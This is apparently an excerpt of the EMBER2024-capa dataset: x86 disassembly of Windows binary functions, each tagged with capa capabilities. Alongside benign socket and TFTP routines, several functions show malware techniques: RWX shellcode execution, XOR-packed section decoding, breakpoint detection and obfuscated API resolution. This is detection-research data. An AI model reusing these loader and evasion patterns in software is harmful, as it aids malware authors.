joyce8/EMBER2024-capa huggingface dataset:
Function at 0x54ff00
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x90c
mov eax, dword [0x5c30d8]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0x90c], edi
mov ebx, dword [edi]
mov dword [ebp - 0x908], ebx
mov esi, dword [ebx + 0x8664]
mov eax, dword [esi + 0x1ab0]
sub eax, dword [esi + 0x1aac]
add eax, 2
push eax
lea eax, [esi + 0x18ac]
push eax
push 0x3c
push ebx
call fcn.0054f710
mov eax, dword [esi + 0x1aac]
add esp, 0x10
movzx ecx, byte [eax]
inc eax
mov dword [esi + 0x1aac], eax
cmp ecx, 0x18
je 0x5500b8
cmp ecx, 0x23
je 0x550094
cmp ecx, 0x27
jne 0x550146
push 0
push ecx
push 0xfa
push 0xff
push str._c_c_c_c
lea eax, [ebp - 0x904]
push 0x800
push eax
call fcn.0052d320
mov esi, dword [esi + 0x18a8]
add esp, 0x1c
mov edi, 4
mov eax, 0x800
test esi, esi
je 0x550033
mov edx, dword [esi]
mov ecx, edx
lea ebx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x54ffc0
sub ecx, ebx
lea ebx, [edi + 1]
add ebx, ecx
cmp ebx, 0x7fa
jae 0x550021
lea eax, [ebp - 0x84]
push eax
lea eax, [ebp - 0x104]
push eax
push str._127_____127s
push edx
call fcn.004bde90
lea eax, [ebp - 0x84]
push eax
push 1
lea eax, [ebp - 0x104]
push eax
push 0
mov eax, 0x800
sub eax, edi
push str._c_s_c_s
push eax
lea eax, [ebp - 0x904]
add eax, edi
push eax
call fcn.0052d320
add esp, 0x2c
mov edi, ebx
mov esi, dword [esi + 4]
test esi, esi
jne 0x54ffb4
mov ebx, dword [ebp - 0x908]
mov eax, 0x800
push 0xf0
push 0xff
sub eax, edi
push 0x57cd34
push eax
lea eax, [ebp - 0x904]
add eax, edi
push eax
call fcn.0052d320
add esp, 0x14
lea eax, [edi + 2]
push 0
push eax
lea eax, [ebp - 0x904]
push eax
mov eax, dword [ebp - 0x90c]
push dword [eax + 0x130]
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jns 0x55008e
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push str.Sending_data_failed___d_
push ebx
call fcn.0052cbc0
add esp, 0xc
push edi
jmp 0x550134
lea edx, [esi + 0x1828]
mov ecx, edx
lea esi, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5500a0
push 0xf0
push 0xff
push edx
push 0
push 0x23
jmp 0x5500d9
lea edx, [esi + 0x1808]
mov ecx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5500c3
push 0xf0
push 0xff
push edx
push 0
push 0x18
push 0xfa
push 0xff
push str._c_c_c_c_s_c_c
sub ecx, esi
lea eax, [ebp - 0x904]
push 0x800
push eax
lea esi, [ecx + 6]
call fcn.0052d320
add esp, 0x28
lea eax, [ebp - 0x904]
push 0
push esi
push eax
push dword [edi + 0x130]
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jns 0x550130
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push str.Sending_data_failed___d_
push ebx
call fcn.0052cbc0
add esp, 0xc
lea eax, [esi - 2]
push eax
lea eax, [ebp - 0x902]
push eax
push 0x3e
push ebx
call fcn.0054f710
add esp, 0x10
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004bcc20
mov esp, ebp
pop ebp
ret
Function at 0x551040
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x8c
mov eax, dword [0x5c30d8]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov esi, dword [eax + 0x3f0]
mov edi, dword [eax]
lea ebx, [esi + 0x15c]
mov dword [ebp - 0x8c], eax
lea eax, [ebp - 0x88]
push eax
mov dword [ebp - 0x88], 0x80
lea eax, [ebp - 0x84]
push eax
mov eax, dword [esi + 0x154]
push 0
add eax, 4
push eax
push dword [ebx]
push dword [esi + 0x14]
call dword [sym.imp.WS2_32.dll_recvfrom]
cmp dword [esi + 0x148], 0
mov dword [esi + 0x14c], eax
jne 0x5510d3
push dword [ebp - 0x88]
lea eax, [ebp - 0x84]
push eax
lea eax, [esi + 0xc8]
push eax
call fcn.00507280
mov eax, dword [ebp - 0x88]
add esp, 0xc
mov dword [esi + 0x148], eax
mov edx, dword [esi + 0x14c]
cmp edx, 4
jge 0x551106
push str.Received_too_short_packet
push edi
call fcn.0052cbc0
add esp, 8
mov dword [esi + 0xc], 7
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004bcc20
mov esp, ebp
pop ebp
ret
push ebx
call fcn.00550960
movzx eax, ax
add esp, 4
mov dword [esi + 0xc], eax
add eax, 0xfffffffd
cmp eax, 3
ja case.default.0x551121
jmp dword [eax*4 + 0x551238]
cmp edx, 4
jle case.0x551121.4
push ebx
call fcn.00550940
movzx ecx, word [esi + 0x40]
add esp, 4
inc ecx
cmp cx, ax
jne case.0x551121.4
lea eax, [edx - 4]
push eax
mov eax, dword [ebx]
add eax, 4
push eax
push 1
push dword [ebp - 0x8c]
call fcn.0052c980
mov ebx, eax
add esp, 0x10
test ebx, ebx
je 0x551186
push 5
push esi
call fcn.00551930
add esp, 8
mov eax, ebx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004bcc20
mov esp, ebp
pop ebp
ret
mov eax, dword [esi + 0x14c]
sub eax, 4
cdq
add dword [edi + 0x38], eax
adc dword [edi + 0x3c], edx
push dword [edi + 0x3c]
push dword [edi + 0x38]
push edi
call fcn.00543bf0
jmp 0x5511fe
push ebx
call fcn.00550940
movzx eax, ax
mov dword [esi + 8], eax
mov eax, dword [ebx]
add eax, 4
push eax
push 0x57748c
push edi
call fcn.0052cc60
add esp, 0x10
jmp case.0x551121.4
lea eax, [edx - 2]
push eax
mov eax, dword [ebx]
add eax, 2
push eax
push esi
call fcn.00550dc0
add esp, 0xc
test eax, eax
je case.0x551121.4
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004bcc20
mov esp, ebp
pop ebp
ret
push str.Internal_error:_Unexpected_packet
push 0x5653fc
push edi
call fcn.0052cbc0
add esp, 0xc
push dword [ebp - 0x8c]
call fcn.00543e20
add esp, 4
test eax, eax
je 0x5510f3
push 5
push esi
call fcn.00551930
mov ecx, dword [ebp - 4]
add esp, 8
xor ecx, ebp
mov eax, 0x2a
pop edi
pop esi
pop ebx
call fcn.004bcc20
mov esp, ebp
pop ebp
ret
Function at 0x551250
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov eax, dword [edi + 0x10]
mov ebx, dword [eax]
mov eax, dword [ebp + 0xc]
add eax, 0xfffffffd
cmp eax, 4
ja case.0x55126d.4
jmp dword [eax*4 + 0x55146c]
lea eax, [edi + 0x15c]
push eax
call fcn.00550940
movzx ecx, ax
add esp, 4
movzx eax, word [edi + 0x40]
inc eax
movzx eax, ax
cmp eax, ecx
je 0x5512a9
push eax
push ecx
push str.Received_unexpected_DATA_packet_block__d__expecting_block__d_n
push ebx
call fcn.0052cc60
add esp, 0x10
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret
lea esi, [edi + 0x160]
mov word [edi + 0x40], cx
push 4
push esi
mov dword [edi + 0x18], 0
call fcn.005509a0
movzx eax, word [edi + 0x40]
push eax
push esi
call fcn.00550980
add esp, 0x10
lea eax, [edi + 0xc8]
push dword [edi + 0x148]
push eax
push 0
push 4
push dword [esi]
push dword [edi + 0x14]
call dword [sym.imp.WS2_32.dll_sendto]
test eax, eax
js 0x5513df
mov eax, dword [edi + 0x154]
xor ecx, ecx
add eax, 4
cmp dword [edi + 0x14c], eax
lea eax, [edi + 0x38]
push eax
setl cl
lea ecx, [ecx*2 + 1]
mov dword [edi], ecx
call fcn.005106f2
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret
xor eax, eax
lea esi, [edi + 0x160]
push 4
push esi
mov word [edi + 0x40], ax
mov dword [edi + 0x18], eax
call fcn.005509a0
movzx eax, word [edi + 0x40]
push eax
push esi
call fcn.00550980
add esp, 0x10
lea eax, [edi + 0xc8]
push dword [edi + 0x148]
push eax
push 0
push 4
push dword [esi]
push dword [edi + 0x14]
call dword [sym.imp.WS2_32.dll_sendto]
test eax, eax
js 0x5513df
lea eax, [edi + 0x38]
mov dword [edi], 1
push eax
call fcn.005106f2
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret
movzx eax, word [edi + 0x40]
inc dword [edi + 0x18]
inc eax
push dword [edi + 0x18]
movzx eax, ax
push eax
push str.Timeout_waiting_for_block__d_ACK.__Retries___d_n
push ebx
call fcn.0052cc60
mov eax, dword [edi + 0x18]
add esp, 0x10
cmp eax, dword [edi + 0x20]
jle 0x5513bb
mov dword [edi + 8], 0xffffff9d
xor eax, eax
mov dword [edi], 3
pop edi
pop esi
pop ebx
pop ebp
ret
push dword [edi + 0x148]
lea eax, [edi + 0xc8]
push eax
push 0
push 4
push dword [edi + 0x160]
push dword [edi + 0x14]
call dword [sym.imp.WS2_32.dll_sendto]
test eax, eax
jns 0x551445
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push dword [edi + 0x10]
call fcn.0053af60
push eax
push 0x5653fc
push ebx
call fcn.0052cbc0
add esp, 0x14
mov eax, 0x37
pop edi
pop esi
pop ebx
pop ebp
ret
lea esi, [edi + 0x160]
push 5
push esi
call fcn.005509a0
movzx eax, word [edi + 0x40]
push eax
push esi
call fcn.00550980
add esp, 0x10
lea eax, [edi + 0xc8]
push dword [edi + 0x148]
push eax
push 0
push 4
push dword [esi]
push dword [edi + 0x14]
call dword [sym.imp.WS2_32.dll_sendto]
mov dword [edi], 3
pop edi
pop esi
xor eax, eax
pop ebx
pop ebp
ret
push str.tftp_rx:_internal_error
push 0x5653fc
push ebx
call fcn.0052cbc0
add esp, 0xc
mov eax, 0x47
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x551930
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, dword [ecx + 0x10]
mov edx, dword [ecx]
mov eax, dword [eax]
cmp edx, 3
ja case.default.0x551942
jmp dword [edx*4 + 0x551998]
mov dword [ebp + 8], ecx
pop ebp
jmp fcn.00551480
mov dword [ebp + 8], ecx
pop ebp
jmp fcn.00551250
mov dword [ebp + 8], ecx
pop ebp
jmp fcn.00551b40
push str.TFTP_finished
push 0x57748c
push eax
call fcn.0052cc60
add esp, 0xc
xor eax, eax
pop ebp
ret
push str.Internal_state_machine_error
push 0x5653fc
push eax
call fcn.0052cbc0
add esp, 0xc
mov eax, 0x47
pop ebp
ret
Function at 0x551df0
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x5c30d8]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push eax
call fcn.00529756
add esp, 4
mov byte [ebp - 0x108], 0
test eax, eax
je 0x551e54
push 0x104
lea ecx, [ebp - 0x108]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
cmp byte [ebp - 0x108], 0
je 0x551e54
lea eax, [ebp - 0x108]
push eax
call dword [0x5c3e1c]
add esp, 4
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004bcc20
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
call fcn.004bcc20
mov esp, ebp
pop ebp
ret

Function at 0x551e70
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
pop ebp
jmp fcn.00551df0
Function at 0x555410
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
mov esi, dword [ebp + 8]
push edi
mov ecx, dword [esi + 0xc]
mov eax, dword [esi + 0x14]
lea eax, [eax + ecx*2]
add eax, 0xc
push eax
call dword [0x5c3e10]
mov edi, eax
add esp, 4
test edi, edi
jne 0x55543d
pop edi
pop esi
mov esp, ebp
pop ebp
ret
lea ecx, [edi + 0xc]
mov dword [edi], esi
mov dword [edi + 4], ecx
mov eax, dword [esi + 0xc]
add eax, ecx
push ebx
mov ebx, dword [ebp + 0x10]
mov dword [edi + 8], eax
cmp ebx, dword [esi + 0x10]
jbe 0x555484
mov eax, dword [esi]
push ecx
call eax
mov eax, dword [esi + 4]
push ebx
push dword [ebp + 0xc]
push dword [edi + 4]
call eax
mov eax, dword [edi + 8]
add eax, dword [esi + 0xc]
push dword [edi + 4]
mov dword [ebp - 4], eax
push eax
mov eax, dword [esi + 8]
call eax
mov ebx, dword [esi + 0x14]
add esp, 0x18
mov dword [ebp + 0x10], ebx
jmp 0x55548a
mov eax, dword [ebp + 0xc]
mov dword [ebp - 4], eax
push dword [edi + 4]
mov eax, dword [esi]
call eax
push dword [edi + 8]
mov eax, dword [esi]
call eax
mov eax, dword [ebp + 0x10]
add esp, 8
xor ebx, ebx
test eax, eax
je 0x5554eb
mov ebx, dword [ebp - 4]
mov dword [ebp - 8], eax
nop word [eax + eax]
movzx eax, byte [ebx]
xor al, 0x36
mov byte [ebp + 0xb], al
lea eax, [ebp + 0xb]
push 1
push eax
push dword [edi + 4]
mov eax, dword [esi + 4]
call eax
movzx eax, byte [ebx]
lea ebx, [ebx + 1]
xor al, 0x5c
mov byte [ebp + 0xb], al
lea eax, [ebp + 0xb]
push 1
push eax
push dword [edi + 8]
mov eax, dword [esi + 4]
call eax
add esp, 0x18
sub dword [ebp + 0x10], 1
jne 0x5554b0
mov ebx, dword [ebp - 8]
cmp ebx, dword [esi + 0x10]
jae 0x555517
mov eax, dword [esi + 4]
push 1
push 0x57e34c
push dword [edi + 4]
call eax
mov eax, dword [esi + 4]
push 1
push 0x57e34d
push dword [edi + 8]
call eax
inc ebx
add esp, 0x18
cmp ebx, dword [esi + 0x10]
jb 0x5554f0
pop ebx
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x555540
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 0xc]
push edi
mov edi, dword [ebp + 8]
push esi
push edi
mov byte [edi], 0
call dword [sym.imp.WS2_32.dll_gethostname]
mov byte [edi + esi - 1], 0
test eax, eax
jne 0x555573
push 0x2e
push edi
call fcn.00509200
add esp, 8
test eax, eax
je 0x555571
mov byte [eax], 0
xor eax, eax
pop edi
pop esi
pop ebp
ret
Function at 0x401000
Capabilities:
Encode data using xor
Terminate process

Disassembly:
push edi
push 0x400
push 8
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
jne 0x401022
push eax
call dword [sym.imp.KERNEL32.dll_ExitProcess]
cmp edi, str.P2W4_6R8M:L_R_M_BpDvFiH_J.L_NPR6T6VX4Z__s1_
jne 0x401031
mov dword [0x40bf94], eax
jmp 0x40103e
cmp edi, 0x40b040
jne 0x40103e
mov dword [0x40bf98], eax
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push esi
xor ebx, ebx
mov esi, eax
sub edi, eax
lea ecx, [ecx]
mov al, byte [edi + esi]
mov byte [esi], al
call ebp
mov cl, bl
add cl, 0x31
xor byte [esi], cl
inc ebx
inc esi
cmp ebx, 0x3ff
jb 0x401050
pop esi
pop ebp
pop ebx
pop edi
ret

Function at 0x401070
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x40bf90]
push ebx
push esi
push edi
lea esi, [eax + 0x14]
mov edi, eax
mov eax, dword [esi]
push 0x40
push 0x3000
inc eax
push eax
push 0
mov dword [ebp - 8], edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 4], eax
test eax, eax
je 0x4010d0
mov ecx, dword [esi]
mov edx, dword [edi + 0x10]
push ecx
push edx
push eax
call fcn.00403c70
add esp, 0xc
push dword [ebp - 8]
mov eax, 0xdefacec
inc eax
push eax
mov ebx, dword [ebp - 4]
push ebx
pop edx
mov eax, 0x1000
sub esp, eax
call edx
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4010e0
Capabilities:
Check for software breakpoints
Encode data using xor

Disassembly:
push ebp
push edi
mov edi, dword [0x40bf90]
mov ebp, dword [edi + 0x14]
mov edx, dword [edi + 0x10]
xor eax, eax
cmp ebp, 4
jb 0x401135
push esi
movzx esi, byte [edx]
lea esp, [esp]
mov ecx, esi
xor ecx, eax
cmp cl, 0xeb
jne 0x40112a
movzx ecx, byte [edx + 1]
xor ecx, eax
cmp cl, 2
jne 0x40112a
movzx ecx, byte [edx + 2]
xor ecx, eax
cmp cl, 0xcc
jne 0x40112a
movzx ecx, byte [edx + 3]
xor ecx, eax
cmp cl, 0xf1
je 0x401138
inc eax
cmp eax, 0x100
jb 0x401100
xor eax, eax
pop esi
pop edi
pop ebp
ret
xor ecx, ecx
test ebp, ebp
jbe 0x401149
mov edi, edi
xor byte [ecx + edx], al
inc ecx
cmp ecx, dword [edi + 0x14]
jb 0x401140
pop esi
pop edi
mov eax, 1
pop ebp
ret
Function at 0x401300
Capabilities:
Get file size
Read file via mapping

Disassembly:
sub esp, 0x218
mov eax, dword [0x40a004]
xor eax, esp
mov dword [esp + 0x214], eax
push ebx
push esi
push edi
mov edi, dword [0x40bf90]
xor ebx, ebx
push 0x20a
lea eax, [esp + 0x18]
push ebx
push eax
mov dword [esp + 0x18], ebx
call fcn.004057a0
add esp, 0xc
push 0x104
lea ecx, [esp + 0x18]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
push str.tpe64.dll
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.SHLWAPI.dll_PathAppendW]
push ebx
push ebx
push 3
push ebx
push 1
push 0x80000000
lea ecx, [esp + 0x2c]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x401411
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_GetFileSize]
push ebx
push ebx
push esi
call ebp
push eax
push ebx
push 2
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov dword [esp + 0x14], eax
test eax, eax
je 0x401409
push ebx
push ebx
push ebx
push 4
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov ebx, eax
test ebx, ebx
je 0x4013fa
push 0
push esi
call ebp
push 4
mov dword [edi + 0x14], eax
push 0x3000
inc eax
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [edi + 0x10], eax
test eax, eax
je 0x4013f3
mov edx, dword [edi + 0x14]
push edx
push ebx
push eax
call fcn.00403c70
add esp, 0xc
mov dword [esp + 0x10], 1
push ebx
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, dword [esp + 0x10]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ebp
mov ecx, dword [esp + 0x220]
pop edi
pop esi
mov eax, ebx
pop ebx
xor ecx, esp
call fcn.0040154d
add esp, 0x218
ret

Function at 0x401430
Capabilities:
Set current directory

Disassembly:
sub esp, 0x10c
mov eax, dword [0x40a004]
xor eax, esp
mov dword [esp + 0x108], eax
push 0x105
lea eax, [esp + 4]
push 0
push eax
call fcn.004057a0
add esp, 0xc
push 0x105
lea ecx, [esp + 4]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [esp]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401470
sub eax, edx
add eax, 0xffffffff
js 0x401490
mov cl, 0x5c
cmp byte [esp + eax], cl
je 0x40148c
sub eax, 1
jns 0x401480
jmp 0x401490
mov byte [esp + eax], 0
lea edx, [esp]
push edx
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
mov ecx, dword [esp + 0x108]
xor ecx, esp
call fcn.0040154d
add esp, 0x10c
ret

Function at 0x40154d
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40a004]
jne 0x401557
repz ret
jmp fcn.0040170c
Function at 0x403693
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00402571
and dword [ebp - 4], 0
cmp dword [0x40be68], 0
mov ebx, eax
jne 0x403744
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x4037f5
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x4037f5
push eax
call fcn.004024ff
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x40be68], eax
call esi
push eax
call fcn.004024ff
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x40be6c], eax
call esi
push eax
call fcn.004024ff
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x40be70], eax
call esi
push eax
call fcn.004024ff
pop ecx
mov dword [0x40be78], eax
test eax, eax
je 0x403744
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.004024ff
pop ecx
mov dword [0x40be74], eax
mov eax, dword [0x40be74]
cmp eax, ebx
je 0x40379c
cmp dword [0x40be78], ebx
je 0x40379c
push eax
call fcn.0040257a
push dword [0x40be78]
mov esi, eax
call fcn.0040257a
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40379c
test edi, edi
je 0x40379c
call esi
test eax, eax
je 0x403793
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x403793
test byte [ebp - 0xc], 1
jne 0x40379c
or dword [ebp + 0x10], 0x200000
jmp 0x4037d5
mov eax, dword [0x40be6c]
cmp eax, ebx
je 0x4037d5
push eax
call fcn.0040257a
pop ecx
test eax, eax
je 0x4037d5
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x4037d5
mov eax, dword [0x40be70]
cmp eax, ebx
je 0x4037d5
push eax
call fcn.0040257a
pop ecx
test eax, eax
je 0x4037d5
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x40be68]
call fcn.0040257a
pop ecx
test eax, eax
je 0x4037f5
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x4037f7
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x42e001
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..rdata
nop
mov ebx, 0x407ef8
nop
mov ecx, 0x75ae126f
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x42e04e
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
cmp eax, ebx
nop
nop
nop
nop
jne 0x42e024
nop
nop
nop
nop
mov eax, section..data
nop
nop
mov ebx, 0x42cd70
nop
mov ecx, 0x14ec4607
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x42e084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x42e06c
nop
nop
popal
nop
nop
nop
jmp 0x401219
Function at 0x401000
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x401090
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x40108d
push 0x5c
push esi
call dword [sym.imp.MSVCR71.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x40108d
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x401066
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x40105f
test ebp, ebp
je 0x40105f
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x401066
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x401087
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x401087
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x401018
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret

Function at 0x402bf1
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x402c00
pop dword [ebp - 0xc]
mov eax, 0x402c00
sub dword [ebp - 0xc], eax
mov dword [ebp - 0x1c], 0xc380ad3b
add dword [ebp - 0x1c], 0x8ad19810
mov dword [ebp - 0x18], 0x9e645846
add dword [ebp - 0x18], 0x93cef3ff
mov dword [ebp - 0x14], 0xe0e12e1c
add dword [ebp - 0x14], 0x6b6b1612
mov dword [ebp - 0x10], 0x85d2b299
add dword [ebp - 0x10], 0x7a2d4d67
lea eax, [ebp - 0x1c]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0xc]
call dword [eax]
mov dword [ebp - 0x1c], 0xb5652d6a
add dword [ebp - 0x1c], 0xbf0d3bec
mov dword [ebp - 0x18], 0xf739a351
add dword [ebp - 0x18], 0x4a32be24
mov dword [ebp - 0x14], 0xac747b4c
sub dword [ebp - 0x14], 0x49050ee0
mov dword [ebp - 0x10], 0xfb2d3f59
sub dword [ebp - 0x10], 0xfb2d3f59
lea ebx, [ebp - 0x1c]
push ebx
push eax
mov eax, 0x47116137
add eax, 0xb92f1f9d
add eax, dword [ebp - 0xc]
call dword [eax]
push 0x40
push 0x1000
push 0x376d6
push 0
call eax
mov ecx, 0xe287fdff
sub ecx, 0xe287b30b
xor edx, edx
add edx, eax
mov ebx, str.b89
add ebx, dword [ebp - 0xc]
mov edi, 0xade2a1aa
xor dword [ebp - 4], edx
mov esi, dword [ebx]
sub dword [ebp - 8], ebx
sub esi, edi
xor dword [ebp - 4], esi
mov dword [edx], esi
sub dword [ebp - 8], edi
add edx, 0xc5f092ab
add edx, 0x3a0f6d59
add ebx, 0xe2b2bf6b
add ebx, 0x1d4d4099
loop 0x402d0e
add eax, 0x11ea3
mov ebx, eax
add eax, 0x7790da3c
sub eax, 0x7790da37
mov ecx, 0x400000
add ecx, dword [ebp - 0xc]
call ebx
leave
ret
Function at 0x40893c
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
sub esp, 4
mov dword [esp], 0x4085d8
pop edi
call fcn.0040895a
xor dword [edx], edi
add esi, esi
inc edx
cmp edx, eax
jne fcn.0040893c
add ecx, ecx
ret